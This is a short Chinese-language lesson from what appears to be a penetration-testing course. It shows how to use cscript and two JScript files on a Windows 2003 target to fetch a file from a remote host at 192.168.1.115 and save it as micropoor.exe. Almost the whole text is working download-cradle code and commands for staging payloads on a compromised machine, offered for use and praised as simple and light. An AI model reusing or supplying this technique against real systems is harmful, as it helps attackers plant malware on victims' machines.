第四十三课：js一句话下载payload

windows 全版本都会默认支持 js，并且通过cscript 来调用达到下载 payload 的目的。

靶机：windows 2003

读取：

C:\test>cscript /nologo downfile.js http://192.168.1.115/robots.txt

附代码：

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);

写入：

C:\test>cscript /nologo dowfile2.js http://192.168.1.115/robots.txt

附代码：

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();

BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;

BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("micropoor.exe");

后者的话：简单，易用，轻便。
